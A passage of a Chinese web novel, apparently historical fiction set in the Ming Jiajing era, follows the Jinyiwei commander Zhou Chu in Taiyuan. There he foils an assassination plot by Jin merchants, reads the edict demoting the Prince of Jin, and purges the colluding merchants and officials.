但如今的局面完全不同了,大明正在蒸蒸日上,如今的陛下就现在来看完全是一位英明的雄主,文徵明在嘉靖手下当国子监祭酒,说不定就会因此在史书上留下浓墨重彩的一笔。 一想到这里,文徵明就干劲十足。 为此文徵明还特意给唐伯虎写了一封信炫耀。 大同城内,蒙古人被全歼之后,事情却没完,特别是对于海而言,才刚刚开始,那些被抓的晋王府的人一个个为了活命,恨不得把能说的都说了出来。 当然,也有少数忠心的,对于这些人,无论是于海还是周楚都不强求,这种人往往是只身一人,无父无母,自然也就不怕所谓的夷三族,正所谓求仁得仁,对他们,周楚自然会成全。 毕竟其他人交代的信息已经完全足够了,甚至很多人交代的信息都是交叉重复的。 周楚将这些信息整理之后,全部送往了京城,让嘉靖亲自定夺。 “岂有此理,这晋王府简直是不把朕的话放在眼里。” 嘉靖看着周楚的奏疏,满脸愤怒道。 虽然周楚的奏疏之中提交的口供没有一个牵扯到晋王府,但嘉靖很清楚,这些人打着晋王府的名号,晋王府就逃脱不了干系。 没有证据反而更好,一旦有了证据,无论是对皇家还是对整个老朱家的名声都是致命的打击。 毕竟藩王府私通外敌这种事,可不是什么好事。 嘉靖很清楚,周楚说要发兵乌思藏,但真正发兵最起码也得是一两个月之后的事了,毕竟发兵乌思藏从不是小事,光是后勤补给,就够兵部和户部弄很久。 在这之前,不妨让这位锦衣卫指挥使把太远的这些人顺手处理了。 想到这里,嘉靖提笔开始给周楚写密旨。 密旨的主要意思是,对晋王府,只处置晋王和晋王世子,将这两人贬为庶人,至于理由,荒淫无度。 嘉靖实在是想不出什么合适的理由了,要说晋王不孝,老晋王早就死了不知道多少年了,现在拿这个说事显然不合适。 荒淫无度虽然很是牵强,却也是一个说得过去的理由。 只要说得过去就行,嘉靖相信晋王应该清楚自己为何处置他,他若是识时务最好,不识时务,还有周衡器这个杀才呢。 周楚收到嘉靖的密旨,看了看上面的内容,嘉靖对晋王府的处理方案完全在周楚的预料之内,这也是为何当初晋王府领事自杀的时候,周楚没有阻止的原因,即便此人不自杀,周楚也会杀了他。wWW.xszWω㈧.йêt 倘若此人活着,皇帝就该难办了。 “去把胡宗宪他们叫来。” 周楚看着大柱道。 大柱听到这话,急忙去军中叫人。 “点上一千兵马,准备随我前往太原。” 大柱离开后,周楚看向了云瑾道。 云瑾听到这话,顿时来了精神。 很快,胡宗宪赵贞吉等人来到了周楚面前。 “老师,叫我等所为何事?” 胡宗宪神情恭敬道。 “我要前往太原,你们随我一同前去。” 周楚看着胡宗宪等人道。 周楚将他们带出来,目的是教他们东西,或者换一种说法,也可以说是游学,就像之前沈炼跟着王阳明游学一般,所以周楚在哪里,他们自然要跟到哪里。 胡宗宪等人听到这话,也纷纷来了精神,之前抓捕晋王府的人的时候,他们虽然没参加,却也有所耳闻,周楚前往太原的目的,不言而喻。 一想到这里,胡宗宪等人就莫名的有些兴奋。 倒是朱显榕,显得有些忧心忡忡。 “老师,陛下对晋王府准备如何处置?” 朱显榕忍不住问道。 虽然其他藩王府都有些看不上晋王府,但同为藩王府,可以说是兔死狐悲,倘若嘉靖对晋王府严肃处置的话,其他藩王府也会受到一些影响。 甚至晋王府私通外敌的消息一旦传出去,其他藩王府肯定是会受影响的。 “晋王和晋王世子荒淫无度,贬为庶人,晋王府一切照旧。” 周楚看着朱显榕,说道。 朱显榕听到这话,顿时松了口气,这种处理结果,无论是对晋王府还是对他们而言,都是最好的结果。 “大人,末将已经点齐了兵马,随时可以出发。” 云瑾来到周楚面前道。 “好,那就出发,前往太原。” 周楚笑道。 第324章 晋王的态度,周楚打草惊蛇,各方反应 太原距离大同五百里左右,晋王府位于太原,和那些晋商之间勾结太深。 说白了,一切都是为了利益,各地藩王府的供奉不但被削减了很多,而且就算是明面上的这些供奉,从很多年前开始,朝廷就已经开始拖欠了。 藩王府远不像表面上看上去的那般风光。 之前的那些年之中,江南士族吃的脑满肠肥的时候,有些藩王府甚至连开支都是问题。 晋王朱知烊自幼喜好玩乐,或者说晋王这一直传承下来,大多都是骄奢淫逸之辈,这也是晋王府被其他藩王府看不起的根本原因。 相较于代王府,代王朱俊杖的父亲出了问题,但到了现任代王朱俊杖,无论是大局观还是各个方面,都是很好的,最起码周楚在大同时候所有的行动,都得到了代王朱俊杖的支持。 这就是站队问题,身为藩王,你可以吃喝玩乐,可以无所作为,但是大是大非的原则性问题,是一定不能错的。 毕竟所有藩王府都是朱家子孙,藩王府被朝廷供养了这么多年,像晋王这般,居然里通外敌的,是任何一个皇帝都不能容忍的。 周楚一路前往太原很是高调,目的就是为了打草惊蛇。 当然,周楚和沈炼大柱三人在前方独行,后方不远处云瑾带着一千玄武军暗中跟随。 这一千兵马极为低调,直接分为几队,伪装成行商的商队,分为几个方阵拱卫着周楚。 “父王,那周楚已经到了太原了,他多半是冲着我们来的。” 晋王府之中,世子朱奇源看着晋王朱知烊,坐立不安道。 朱知烊自然是知道周楚来太原的消息,以周楚的高调,朱知烊想不知道也很难。 前些天蒙古人被周楚的人马全歼的消息早已传遍了太原,晋王府派往大同的那些人马一点消息都没了,这些人马之中,只有那个领事是晋王府的人。 说白了就是借用晋王府的名头,在大同行事,如果没有晋王府这个名头,大同的锦衣卫早就将他们这些人抓起来了。 但这件事也是晋王朱知烊默认的,现在这些人没了信息,朱知烊很清楚,多半是被锦衣卫指挥使周楚的人抓了起来。 对于自己派出去的那个晋王府的人,朱知烊还是很放心的,不过再放心,朱知烊也清楚,自己勾结蒙古人的事,注定是纸包不住火的。 此时不只是朱奇源坐立不安,晋王朱知烊更是如同火烧屁股一般。 毕竟锦衣卫指挥使周楚眼看着就进了太原。 锦衣卫指挥使代表的,从来都只有皇帝,周楚来了太原,意味着皇帝已经对自己有了处理结果。 这让朱知烊有种心惊肉跳的感觉。 “爹,那些商人前两天就在商议,要对周楚动手,我们是否要帮他们一把?” 朱奇源看着朱知烊,问道。 朱知烊听到这话,冷冷地瞥了一眼自己的儿子。 “我怎么会生出你这么个蠢货!” 朱知烊恨铁不成钢道。 朱奇源听到这话,顿时一头雾水。 “父王,如今那周楚已经进了太原,动手慢了,我们就没机会了。” 朱奇源焦急道。 “你看事情,永远只看表面这么一层,周楚代表的是谁?代表的是皇上,是当今陛下,周楚从大同出发前往太原的时候,说明陛下对我们已经有了处理结果。” 朱知烊看着自己的儿子,满脸失望道。 朱奇源听到这话,顿时想明白了什么,冷汗直流。 “我们不对周楚动手还好,倘若对锦衣卫指挥使动手了,那就是打皇上的脸,皇上原本可能会看在我是晋王的份上,网开一面,倘若动手了,周楚死了,然后呢?这件事就了了吗?不止不会了,恐怕还会引起陛下的雷霆之怒,届时你我才真的没了活路。” 朱知烊很少和自己的儿子说这么说,以前他甚至看的和自己的儿子说什么,只是一味地纵情享乐,现在或许是觉得自己的好日子到头了,似乎寄希望于朱奇源,罕见的多说了些。 “儿臣明白了,儿臣这就派人去阻止那些商人,救下周楚。” 朱奇源躬身行礼道。 朱知烊听到这话,点了点头。 “其实那周楚身为锦衣卫指挥使,在大同能全歼上万蒙古骑兵,又岂是易与之辈,这些人敢去刺杀周楚,简直是不知所谓,不过该做的姿态我们还是要做足的,派人去救周楚,一定要做的尽善尽美。” 朱知烊叹了口气道。 事已至此,朱知烊谁也不怪,只怪自己押错宝,站错队了,不过也是没办法,在过去的那么多年里,晋王府和太原的这些商人已经来往太深,错综复杂,朱知烊也早已习惯了享乐和挥金如土的生活。 由奢入俭易,由俭入奢难,让朱知烊放弃以前的生活,他一时之间下不了这个决心,再加上那些商人的蛊惑,朱知烊也只能一条道走到黑了。 很多时候,人在面临选择的时候,面对的局势,往往很复杂,人在江湖,身不由己,深刻的诠释了朱知烊的处境。 不过事情已经到了如今这种地步,朱知烊还没有蠢到让整个晋王府给自己陪葬,倘若此事处理的妥当的话,自己也未必会死,最多被贬为庶人,毕竟前面有上一任代王的先例,皇家也是要颜面的。 这一点,朱知烊心里是清楚的,不只是朱知烊清楚,其他藩王府也都清楚,很多事,即便他们做了,朝廷为了自身的颜面和各地藩王府的颜面,也会从轻处置。 周楚带着沈炼和大柱刚进入太原,就被无数人盯上了。 此时的三人经过几天的赶路,天天吃干粮,咋就想吃顿好的了,进入太原之后,找了间馆子就钻了进去。 “几位客官,吃些什么?” 馆子之中跑堂的来到几人面前,殷勤道。 “来三碗羊肉泡馍,再烤两个羊腿,多放些香料,不会少你们的钱。” 周楚说道。 “好嘞,各位稍等。” 跑堂的一听这话,眼睛顿时亮了,从周楚的话语之中,他就知道眼前这三人是罕见的豪客。 太原烤羊腿比一般的面食自然是要贵很多的,但和羊腿相比,香料更贵一些,一般的烤羊腿,都很少放香料,基本都是放些盐就可以了。 香料在永乐随着郑和不断地下西洋,价格越来越便宜,但永乐之后,下西洋被停了,民间的香料自然就越来越少了,香料的价格也就越来越贵。 当然,之前江南那些人也会从东南亚走私香料运往大明贩卖,但这种走私的香料他们肯定是要控制数量和价格的。 单单是这两个烤羊腿用的香料,已经超过了羊腿本身的价格。 一般的烤羊腿,哪怕是一条,三人也未必能吃的完,但周楚和沈炼以及大柱都是练家子,食量极其惊人,这两条烤羊腿都未必够三人吃的。 很快,三大碗羊肉汤和三个馍被端了上来。 周楚等人开始掰手中的馍。 大柱也跟着有样学样。 之前在大同的时候,大柱就因为没吃过羊肉泡馍,闹过笑话,大柱只身一人去吃羊肉泡馍,事后周楚问他羊肉泡馍如何? “还行,羊肉汤很好喝,就是那馍太硬了,有点咬不动,而且噎得慌。” 大柱这话,让周楚和沈炼调侃了好些天,所以这次大柱学聪明了,看着两人的做法,这才恍然大悟,怪不得上次两人一直嘲笑自己,原来这馍是要掰碎了放在羊肉汤里面。 周楚和沈炼掰的都很细致,因为两人做事一直都很有章法,从不急躁,但大柱不同,他早就饿了,刚开始还耐着心思,一点一点掰碎,到后面干碎掰的块越来越大,不到三分钟,被他掰完了。 大柱掰完之后,并没有立刻吃,而是眼巴巴的看着周楚,似乎在等周楚掰完之后才能开始吃。 “你吃的你。” 周楚白了大柱一眼,没好气道。 大柱听到这话,嘿嘿一笑,把碗端到自己面前,开始风卷残云一般吃了起来。 周楚和沈炼两人还没掰完,大柱的第一碗羊肉泡馍已经吃完了。 此时刚好跑堂的端着烤好的羊腿走了过来,羊腿上面撒满了香料,盖过了羊肉的膻味,这味道飘满了整个馆子,所有人都看向了这两条烤羊腿,眼神之中满是羡慕和渴望。 烤羊腿和撒满香料的烤羊腿,从来都不是一个概念,很多人都不敢这么吃,因为太贵了。 “再给他来一碗刀削面。” 周楚指了指大柱,说道。 “得嘞,您稍等。” 跑堂的将烤羊腿放在桌子上,说道。 实际上周楚等人进太原之前,就有人将这里的情况探明了,这家馆子自然也在其中,倘若这家馆子有问题,周楚等人进来之前就会被云瑾告知。 周楚此时想起了之前刚到大同的时候,自己带着的那个擅长毒药的锦衣卫,看来以后还是要把此人带在身边才好。 周楚之所以没有立刻去晋王府,主要就是想看看晋王府的态度,自己一路上这么高调,就是为了打草惊蛇,看看各方反应,对于晋王府,周楚也不是没有办法,倘若晋王府不识趣,嘉靖也给了周楚便宜行事的权限。 只是不到那个地步,周楚还是不想动晋王府的。 自古以来,王子犯法与庶民同罪,本就是一句戏言,如今的皇帝能把晋王和晋王世子贬为庶人,已经是难能可贵了。 更何况对周楚而言,如何处置晋王父子,本身对大局的影响就很小,反而是处置狠了,会引发一系列连锁反应,让其他藩王府对周楚有所不满。 毕竟周楚处置晋王府,注定是要替皇帝背锅的,倘若处置的太狠,这个锅周楚背定了。 现在的处理结果,无论是对周楚,亦或是对所有藩王而言,都是最好的结果。 周楚带着沈炼两人进这个馆子吃东西,就是在等,等各方反应。 很快,大柱的刀削面再次被端了上来,大柱用盘子里的小刀一边割着烤羊腿,一边吃着面,吃的满嘴都是油。 “吃慢点,没人和你抢,不够再要,怎么跟饿死鬼托生的一般。” 周楚看着大柱,如同看着自己的弟弟一般,满脸责怪道。 大柱听到这话,有些不好意思。 “以前在村子里,哪里吃过这么好吃的东西?我爹打猎打的肉,一年也就能吃那么一两次。” 大柱说着话,也没耽误他吃东西,言语间将一颗蒜放进了嘴里。 “京城那么多好吃的,没吃够吗?” 沈炼有些疑惑道。 “别提了,京城的那些吃食太细,不适合我,每次吃那些东西总觉得不得劲,还是这羊腿够味。” 大柱说道。 沈炼听到这话,顿时恍然。 “山猪吃不了细糠。” 周楚忍不住说道。 “嘿嘿!” 大柱听到这话,丝毫不恼,反而一脸笑容。 几人说话之间,一群人涌入了饭馆之中,这些人手中都拿着武器,看上去气势逼人。 为首之人直接来到周楚面前。 “打劫,把你们身上值钱的东西都交出来!” 此人一副土匪恶霸的作风,说道。 其他食客看到早就被吓坏了,眼看着没冲他们来,一个个都急忙跑了出去,这些人看都不看其他食客一眼,直勾勾地看着周楚等人。 “是晋王府派你们来的,还是那些商人派你们来的?” 周楚丝毫不急,用小刀割着羊腿上的肉,放在嘴里,一边嚼一边说道。 此人听到这话,顿时脸色一变。 “少他娘的废话,老子听不懂你在说什么,再说一遍,把你们身上的钱财都交出来!” 此人色厉内荏道。 此时沈炼和大柱都把手放在了绣春刀刀柄上,随时准备动手。 “装土匪?你们还差点,这可是太原城内,哪来的土匪?还有,你看不到我们手里拿的绣春刀吗?” 周楚说到绣春刀三个字的时候,面色瞬间变得冷峻无比,这一瞬间的气势,让眼前这些人心里直打突突。 “少废话,兄弟们,动手,把他们杀了,他们的钱都是我们的了。” 为首之人明白再多说下去就露馅了,干脆直接动手。 “我看谁敢动手?” 此时饭馆外面传来一个声音。 众人闻声望去,只见晋王世子朱奇源带着一众锦衣卫进入了饭馆之中。 “周大人,朱奇源来迟了,让大人受惊,朱奇源罪该万死!” 朱奇源来到周楚面前,躬身行礼道。 第325章 锦衣卫指挥使的威势,晋王的态度 原本还想着动手的那些人看到晋王世子朱奇源这般做派,顿时傻眼了。 他们上头的人让他们对锦衣卫指挥使周楚动手的事,晋王世子是知道的。 原本他们以为,晋王府就算是不帮忙,也会选择默认,毕竟周楚死了,对晋王府也是有一定好处的,虽然这种好处不多。 这些商人之所以选择对锦衣卫指挥使周楚动手,就是想把太原打造成一个山高皇帝远,皇权触及不到的地方,只有这样,他们才会真正的安全。 他们和晋王朱知烊有着本质上的区别,皇权对各地的藩王府有着绝对的统治权,皇帝一句话就可以决定藩王的生死,除非晋王准备像宁王一样直接造反。 很显然,晋王朱知烊做不出造反的事,否则早就反了,朱知烊很清楚,不造反自己可能还有活路,最重要的是晋王一脉可以安稳的传下去,但自己一旦造反可就不一样了,性质就完全变了。 再加上之前宁王准备了那么久,筹备了那么久,却被王阳明轻而易举的击溃了,这让各地藩王真正意识到了他们和朝廷之间体量巨大的差距,他们造反基本不可能成功。 别说是他们了,自古以来,藩王造反成功的,也只有明成祖朱棣,但朱棣能成功,那是有特殊原因的,满朝勋贵武将都在暗中帮助朱棣,他们早已对建文帝朱允炆不满了,这才让朱棣起兵成功。 否则的话,朱棣刚一起兵,就被李景隆按死在北平了。 和晋王府不同,在之前的很多年里面,山西都是皇权触及不到的地方,就连大同,以前存在很多问题,但皇帝却不敢轻易换将,一旦更换了大同的武将,恐怕会引发连锁反应,导致蒙古人从大同攻入,这绝不是皇帝想要看到的局面。 一旦这些晋商将周楚杀死,朝中再无人可以像周楚这般,将手伸向太原,到时候太原甚至整个山西,就完全是他们只手遮天,说什么便是什么。 在这一点上,这些晋商和晋王朱知烊的诉求完全不同,所以处理的方式自然也就不同。 “世子,你.......” 为首那人看着朱奇源,他无论如何都想不通晋王府为何会阻止自己对周楚动手。 “闭嘴,尔等心怀叵测,想要刺杀锦衣卫指挥使周大人,简直罪不可恕,来人,把他们都抓起来。” 朱奇源爆喝道。 朱奇源这话刚落,他身后的锦衣卫纷纷拔出绣春刀,将这些人围住。 “周大人,这些人胆大包天,之前找我晋王府商议刺杀周大人的事,这等事我晋王府自然不可能去做,也不可能眼睁睁看着周大人被他们刺杀。” 朱奇源躬身道。 朱奇源经过了自己父王的点拨,此时明白了一个道理,眼前的锦衣卫指挥使周楚既然来太原了,肯定是掌握了足够的证据,皇帝对晋王府的处置结果恐怕也已经下来了。 现在在对周楚隐瞒,已经毫无意义了,既然不如,不如直接摊牌,这样的话,说不定还能获得这位周大人的好感。 就算自己的父王甚至自己被贬为庶人,并不代表着结束,就像当初上一任代王被贬为庶人,最终皇帝还是心软了,恢复了朱俊杖袭爵的权利,就连前任代王,虽然不能离开太原,却也不是原本的庶人生活。 只要不被杀,一切就都有转圜的余地,倘若他们一条道走到黑,才是把自己的路真正的堵死。 这一点,无论是朱知烊,亦或是其他藩王,都很清楚。 毕竟再怎么说,如今的皇帝,也是藩王出身,更能理解藩王的处境,想来会从轻处置。 “朱奇源,你倒是让本官意外,本官还以为你们晋王府会和他们沆瀣一气呢,没想到会悬崖勒马。” 周楚看着眼前的朱奇源,略带调侃道。 “就凭你们,也敢刺杀本官,真是不知所谓。” 周楚说着,把手指放在嘴里,吹了一个极为响亮的口哨,很快,云瑾带着玄武军将饭馆团团围住了。 朱奇源看到这一幕,脸色一白,他此时才算是真正理解了自己父王的话,怪不得父王坚决不同意对周楚动手呢。 或许自从宁王造反轻易被朝廷荡平开始,自己的父王就见识到了朝廷的力量。 想明白这些,朱奇源瞬间出了一身冷汗,晋王府差点因为自己的一念之差,就迎来覆灭。 那些原本还想说什么的刺客,看到这一幕,一个个顿时面如死灰,此时他们也理解了为何晋王府会这么做,有这么一支兵马护卫着周楚,他们想要刺杀成功,简直是痴人说梦。 明白这些之后,这些人瞬间失去了抵抗的想法,纷纷将手中的武器放在地上。 “太原的锦衣卫千户是谁?” 周楚看着眼前的一众锦衣卫,问道。 “属下孙万福,拜见大人。” 这些锦衣卫之中,一个人高马大的锦衣卫走了出来,细看他的衣服,和其他的锦衣卫有些许不同。 太原的锦衣卫按理来说应该受命于晋王府,但那是在锦衣卫高层不在的情况下,如今周楚这个锦衣卫指挥使来了太原,他们自然是以周楚的命令为准。 “孙万福,将这些人全部带下去,从他们嘴里撬出东西来,要是撬不出来,你这个千户就不用干了。” 周楚看着孙万福,冷笑道。 孙万福听到这话,顿时惊出了一身冷汗,方才他身为锦衣卫千户,没有第一时间主动出来拜见自己的上司,已经是犯了极大的忌讳。 孙万福之所以这么做,一方面是和晋王府之间牵扯太深,另外一方面,则是因为和太原本地的那些晋商也是有些勾结的,当然,这种勾结是建立在晋王府的基础上的,他们的一切还是以晋王府为主。 所以方才他第一时间没有出来拜见周楚,因为他早已习惯了对晋王府唯命是从,也从晋王府之中获取到了足够的利益。 但此时周楚这话,瞬间让他清醒了过来,孙万福此时才意识到,自己首先是锦衣卫千户,周楚这个锦衣卫指挥使,一言就可以定他的生死,决定他的前程。 “属下一定撬开他们的嘴。” 孙万福直接跪倒在周楚面前,头磕的邦邦响道。 “滚!” 周楚有些不耐烦道。 对于太原的这些锦衣卫,周楚是打心里失望了,这个孙万福,在得知自己来到太原的情况下,居然不第一时间前来拜见,还跟着晋王府行动,这让周楚的好心情都没了。 孙万福要是处理不好这些人,他这个锦衣卫千户也就干到头了,即便是处理的好,这个太原的锦衣卫千户他也是干不成了。 周楚算是看出来了,孙万福和晋王府还有这些晋商已经有所勾结了,这种人留在太原,就是个祸害。 不过孙万福从来都不是周楚来太原的主要目的,处理他不过是捎带手的事。 这些人孙万福能审出来更好,即便是审不出来,周楚也早就掌握了足够的证据,根本不需要这些人说什么。 “周大人,父王已经准备好了酒宴,为大人接风洗尘。” 朱奇源低眉顺目道。 此时的朱奇源和当初在绍兴的时候,完全两个模样。 “好,那就有劳大王了。” 周楚看向朱奇源,笑道。 既然晋王府如此给自己面子,自己也要接着,至于如何处置晋王父子,那是之后的事了。 周楚说完这话,在朱奇源的带领下,和沈炼、大柱以及云瑾来到了晋王府。 刚一进晋王府,周楚就感受到了晋王府和代王府的不同之处,两处王府虽然都很大,但之前的代王府给周楚一种勉强支撑的感觉,各处的装饰都很简单,一看就没花多少钱,或者说削减了很多。 这也是难怪的,上一任代王被皇帝贬为庶人,代王府上下自然是如履薄冰,生怕因为其他事再惹怒皇帝,而且之前代王府为了在京城打点,将代王府的府库花的其实差不多了,整个代王府也只是勉强维持罢了。 代王朱俊杖的浮华,也只是流于表面,做给他人看的。 但晋王府完全不同,周楚刚进晋王府,就看到了四处周楚亭台楼阁,假山奇石,可谓是五步一变,没有一处相同的景色,却又不显得突兀,转变的非常自然。 很显然整个晋王府是经过名家设计的。 大柱更是如同刘姥姥进大观园一般,完全控制不住自己的眼睛,这里也想看看,那里也想瞧瞧。 很快,众人就来到了晋王府的正厅,见到了晋王朱知烊。 “周大人大驾光临,本王有失远迎,实在是有失体统。” 朱知烊满脸惭愧道。 “大王这话就言重了,应当是下官前来拜见大王。” 周楚行礼道。 “周大人何须多礼?赶紧入席吧,这酒宴是本王特意为周大人准备的。” 朱知烊说着拍了拍手掌,此时晋王府的下人端着一个个精美的菜品走了过来,紧接着又出来十几个舞女和琴师,琴师抚琴,舞女在大厅中央开始翩翩起舞。 “周大人觉得本王调教的这些舞女如何?” 朱知烊丝毫不提国事,也不问周楚来太原干什么,只谈风月。 “大王眼光独特,这些舞女比教坊司的那些也不遑多让,大王是个会享受的人。” 周楚看着眼前的这些舞女,点评道。 无论是教坊司的清倌人,亦或是眼前的这些舞女,跳的舞远不是后世想象的那般。 这些女人穿的青丝薄纱,一个个跳的舞又充满了神秘和魅惑,倘若不是周楚见多识广,说不定就会着了道。 一旁的大柱看的满脸通红,不敢多看,只能低头吃东西。 云瑾倒是面色如常,这些女人自然对她毫无诱惑力可言。 “哎,其实晋王府,或者说大明各地的藩王府都不容易,像代王府,已经是勉强维持了,我晋王府要想维持下去,不得不和太原的这些商人有些利益往来,这些都是本王一念之差,本王沉迷于享乐,难以自拔。” 朱知烊直接承认了自己的错误道。 周楚听到这话,倒是有些意外。 “大王所言,下官是知道的,之前下官让陛下将各地藩王府的人叫到绍兴,就是要开煤矿,让利给各地藩王府,让你们能维持开支,但大王似乎拒绝了下官。” 周楚这话说的可谓是很不给面子了,不过此时周楚有这个底气,该说的自然要说,不必藏着掖着。 “不是本王不想,而是晋王府和那些商人之间已经牵扯太深,山西又主要靠煤矿生意,周大人这个生意,无疑是在断晋王府的财路,本王当时也是一时糊涂,想不明白,才铸就大错。” 朱知烊叹了口气道。 “大王应该清楚,很多时候,做错了事,就要付出代价,这条路是大王选的,这后果自然需要大王承担。” 周楚说这话的时候,直接站了起来,从怀中取出圣旨。 “晋王朱知烊接旨。” 朱知烊听到这话,急忙跪在了周楚面前,朱知烊身后,是晋王世子朱奇源,此时也跪伏在地。 “晋王朱知烊,不思君恩,荒淫无度,即日起,晋王朱知烊及晋王世子朱奇源贬为庶人,以儆效尤,钦此!” 周楚宣读完圣旨看向跪在地上的朱知烊父子。 虽然早有预料,但听到这个结果的时候,朱知烊内心很是复杂,又高兴又难过。 高兴的是自己不用死了,难过的是,以后自己恐怕再也享受不到如今的生活了。 “臣领旨,叩谢隆恩!” 朱知烊连磕了三个头道。 随后周楚将手中的圣旨递给了朱知烊,朱知烊双手举过头顶接过圣旨。 办完这些之后,周楚看向了一旁的云瑾。 “按照之前拟定的名单抓人吧,别让他们跑了。” 周楚面容冷酷道。 “是,大人。” 云瑾听到这话,直接出了晋王府,晋王府外,玄武军早已整军待发,云瑾直接带走了六百人,留下四百人保护周楚的安危。 第326章 周楚的雷霆手段,犁清太原 “大人,我错了,我愿意把家产全部献给朝廷。” “周楚,你不得好死!” “冤枉啊,冤枉!” ....... 太原城内的那些晋商得到消息第一时间是想跑路,但周楚早有布置,太原的四个城门,周楚早已安排了自己的人值守,但凡想偷偷跑路的,都被截留了下来。 云瑾带着玄武军将这些晋商一网打尽,这些人看到周楚的时候,有的痛哭流涕,有的则破口大骂,还有的大喊冤枉,反应不一而足。 这些晋商的处理结果,周楚就可以直接定,基本上全都是夷三族。 那些破口大骂的,也明白大势已去,他骂与不骂,都不会影响结果。 倘若周楚给他一条活路,他跪的比谁都快。 “大人,抄家已经结束了,这是财物名册。” 孙万福一路小跑来到周楚面前,此时的孙万福内心无比忐忑,不知道眼前的这位锦衣卫指挥使会如何处置他,所以这次抄家他严令手下的人手脚必须干净。 当然,周楚自然不会完全信任孙万福,抄家的时候都是派了玄武军的人盯着的,所有进出的锦衣卫都要搜身。仦說Ф忟網 这次被抄家灭族的晋商,一共有近二十家,每一家抄出的钱财,白银加上铜钱,差不多近五百万两,其他财物更是不计其数。 所有抄出来的钱财全部折算成白银的话,大概在一亿两左右,明面上看远不如江南的那些商人。 但对周楚和朝廷而言,最值钱的绝不是这些,而是山西的这些煤矿。 无论是太原亦或是大同的煤矿,如今基本都已经被周楚掌握在手里了。 虽说有徐州附近的银矿在,山西的煤矿会受到不小的影响,但这种影响只是暂时的,山西煤矿运往京城,单单是运输费用就很贵,但周楚清楚,这种情况等到蒸汽机出来之后,火车研发出来以后,就会彻底改变。 到了那个时候,煤炭的运输成本将会被大大降低。 大明是小冰河期,煤炭的需求量极大,对百姓而言,煤炭越多越好,越便宜越好。 太原和大同的煤矿还只是第一步,下一步周楚要把山西其他地区的煤矿也收拢在朝廷手中,当然,到时候这些煤矿该如何操作,周楚还是要自己经手,不然交到其他官员手上,周楚是完全不放心的。 晋王府为了感谢皇恩,也上交了五百万两钱财,周楚估计这基本上是如今晋王府能拿出的大部分财产了,这些钱一是为了保住晋王府,二是为晋王世子朱奇源买一个未来。 等再过几年,晋王府像之前的代王府一般,向朝廷请奏,恢复朱奇源晋王世子的袭爵权,到了那个时候,朱知烊也会跟着恢复一定的身份。 当然,想要恢复晋王的身份是别想了,顶多做个富家翁。 “还望周大人替我晋王府在陛下面前美言几句。” 如今的晋王府主母,晋王的生母王氏将一沓银票递到周楚手中,满脸伤感道。 “老夫人放心,下官自然知道该怎么说。” 周楚将这些银票收了起来道。 这些钱不收白不收,收了不止没有坏处,反而是有好处的。 王氏听到这话,顿时露出了笑容。 “那就有劳周大人了。” 周楚离开晋王府之后,来到了太原的锦衣卫所,坐在了锦衣卫所的主位。 “孙万福,即日起你调离太原,前往大同,贬为力士,在于海手下,可有异议?” 周楚居高临下地看着孙万福,面无表情道。 孙万福听到这话,直接跪倒在周楚面前。 “多谢大人不杀之人,属下已经知足了。” 孙万福一边说着,一边不断地磕头。 周楚之所以不杀孙万福,是因为前两日他已经把那些人的口供全都拿到了,而且没有一丝保留,再加上孙万福在饭馆的时候,并没有吃了猪油蒙了心,想着黑了自己和晋王世子。 倘若当时孙万福有一丝这种想法,此时早已万劫不复。 说白了,孙万福是在晋王府和那些晋商之间捞点好处,立场有点歪,知道自己这个锦衣卫指挥使来太原了,不第一时间来拜见,更多的是听命于晋王府。 这一点是周楚和皇帝都不能容忍的,锦衣卫从来都是天子亲兵,无论在哪里都应该明白自己的立场。 孙万福的政治生涯在此刻已经被宣判结束了,不过相对于那些晋商,他的下场不知道要好了多少倍,最起码还保留了锦衣卫的职位。 “新的千户会从京城调,你们只需等候即可。” 周楚看着锦衣卫所的其他百户,说道。 对于太原的这些锦衣卫百户,周楚是一个都信不过,正所谓上梁不正下梁歪,这些人多多少少都有些问题,不过他们如何还不需要周楚来处置,如何处置,就交给新来的千户了。 太原知府同样没有逃过周楚的调查,实际上早在来太原之前,周楚就掌握了足够的证据,不过当时掌握的最多的证据便是关于太原知府的,太原其他大大小小的官员,周楚掌握的证据并不充足,或者说都是零零散散的。 这也很正常,毕竟当时抓的可都是一些小人物,这些人就算知道,也不可能知道的太过详细。 太原知府杨镇此时正在大狱之中,看着眼前的周楚,杨镇浑身直哆嗦。 没办法,实在是锦衣卫的刑讯官的手段太过厉害。 一般而言,刑不上大夫,但这一条在锦衣卫之中是行不通的,更何况此时锦衣卫指挥使周楚还在这里,别说他区区一个太原知府,朝中任何二品以下的官员,在这里都要乖乖受刑。 “杨大人,没必要坚持,那些晋商全都被本官一网打尽了,你坚持毫无疑义,你只要说出来的够多,你的罪行就能得到相应的减轻,比如你的家人可以不受你的牵连。” 周楚看着眼前的杨镇,不疾不徐道。 杨镇听到这话,眼中瞬间亮起了希望。 他之所以一直坚持不说,不是因为忠义或者其他的什么,他就是在等,等周楚来到他面前,许给他足够的好处。 他很清楚,自己是没什么希望了,不是杀头就是流放,但他要为自己的家人争取一线生机。 现在听到这话,杨镇再没了顾虑。 “有了周大人这话,下官也就放心了,下官什么都交代。” 杨慎虚弱道。 “记。” 周楚看向一旁负责审讯记录的锦衣卫,说道。 第327章 嘉靖震怒,返回大同,谢丕来访 在太原知府的交代下,整个太原的官员不说全军覆没,却也没几个干净的。 毕竟想在太原为官,又想出淤泥而不染是一件极为困难的事。 即便是原本清廉或者和那些晋商没有勾结的官员也都会被同僚拉下水。 这种情况在官场上再常见不过。 甚至有许多已经被调离太原的官员,也被太原知府牵扯出来了,周楚直接让人给当地锦衣卫去了文书,让他们负责抓捕那些已经被调离太原的官员。 不过相对而言,被调离的官员很少,因为大部分太原的官员在太原待的极为舒服,抱团弄钱,没有谁有升迁或者想被调离的想法。 当然,朝廷任命的,很多时候是避免不了的,但这种只是极少数。 周楚将这些查办的官员的名单以及罪名全都写成奏疏让人送到了京城。 “岂有此理,太原官商勾结居然到了此等地步,他们居然还里通外敌,勾结蒙古人!” 朝会上,嘉靖怒不可遏道。 对于晋王府,嘉靖是只字不提。 “多亏了周大人,否则长此以往下去,后果不堪设想。” 韩玠出列道。 “陛下,当务之急,是先把太原这些官职的人选拟定,否则太原将无官可用。” 杨一清出列道。 “是啊陛下,当务之急,是派人先稳住太原的局势。” 贾咏附和道。 这次的朝会谢迁干脆告病没来,为的就是下一步继续请辞做铺垫,对于谢迁的心思,嘉靖清楚,杨一清等人也清楚,自然不会多问。 “由内阁选人吧,选好之后递个折子上来,差不多的话,朕就准了。” 嘉靖看着杨一清道。 “臣等定竭尽全力。” 